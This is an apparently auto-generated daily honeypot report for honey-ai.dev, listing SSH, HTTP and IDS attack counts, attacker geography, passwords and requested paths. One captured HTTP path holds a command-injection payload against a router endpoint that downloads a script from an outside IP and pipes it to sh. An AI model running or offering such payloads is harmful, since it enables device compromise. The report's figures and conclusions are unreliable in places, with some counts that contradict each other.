Honeypot Threat Analysis — September 6, 2026
Critical threat level — massive coordinated attack activity across all honeypot services.
Cybersecurity Threat Analysis for Honey-ai.dev on September 6, 2026
Overview
On September 6, 2026, the Honey-ai.dev honeypot in Spain was subjected to a significant number of threats and activities across various protocols and platforms. The analysis reveals that a total of 185 attackers attempted to exploit multiple vulnerabilities across different devices and services.
Data Breakdown
SSH Brute Force:
- Total SSH connections: 725
- Logins: 1045
- Command executions: 26
- Attackers: 157 IPs
Multi-Protocol Activity:
- FTP/SMTP/MySQL/Redis/Git/VNC/RDP events: 45416
- Attackers: 136 IPs
HTTP Traffic:
- HTTP requests: 75
- Attackers: 23 IPs
Suricata IDS Alerts:
- Total alerts: 57,239
- Attackers: 692 IPs
GeoIP Analysis
- Total IP locations: 1,382
- United States: 422 (30%)
- Germany: 139 (10%)
- Netherlands: 106 (7%)
- China: 94 (6%)
- Belgium: 90 (6%)
- United Kingdom: 75 (5%)
- Pakistan: 59 (4%)
- Canada: 39 (2%)
- Russian Federation: 33 (2%)
Malware Analysis
- No malware was captured today.
Top Attacks
Top Attackers by IP Address:
- 85.85.17.46
- Activities: 1045 login attempts, 26 command executions
Top Passwords:
- **“5913a989d3e32c00”`
- Used in multiple login attempts and commands
- **“72fc02f25e00675b”`
- Also used in login attempts
Top HTTP Paths:
- ”/”
- “/login”
- “/goform/set_LimitClient_cfg”
- “/SDK/webLanguage”
- “/cgi-bin/luci/;stok=/locale?form=countryGALAH_PATHS_PHoperation=writeGALAH_PATHS_PHcountry=$(id%3E%60wget+http%3A%2F%2F162.249.125.145%2Fooo.sh+-O-+|+sh%60)“
Security Measures
Tarpit:
- Trapped 106 connections from 52 IPs, with no waste of time.
Malware and Backdoor Detection:
- No malware or backdoors were detected.
Malicious Tools and Scanning
Backfire Scans:
- None found for today’s session
MCP Trap:
- No malicious tools captured
- Requested by 7 IPs, targeted at 3 hosts
Portscans:
- Total Port Scans: 0/0
AI Defense and Community Response
- AI Defense:
- Injections blocked: 0
- Leaks blocked: 12
Community Defense:
- No additional community defense rules or tools were observed.
Threat Overview
In summary, the Honey-ai.dev honeypot experienced a high volume of SSH brute force attempts and HTTP traffic. The presence of multiple top IP addresses indicates that these networks might be hosting compromised machines or participating in botnets. The lack of malware activity suggests that despite an active threat environment, the honeypot has been effective at detecting and defending against known vulnerabilities.
This analysis highlights the importance of continuous monitoring and updating security protocols to stay ahead of evolving cyber threats.
This analysis was generated by qwen2.5:1.5b running locally on the Raspberry Pi 5 honeypot lab. All data comes from real attacks captured in the last 24 hours by HoneyAI. View the raw data report for complete metrics.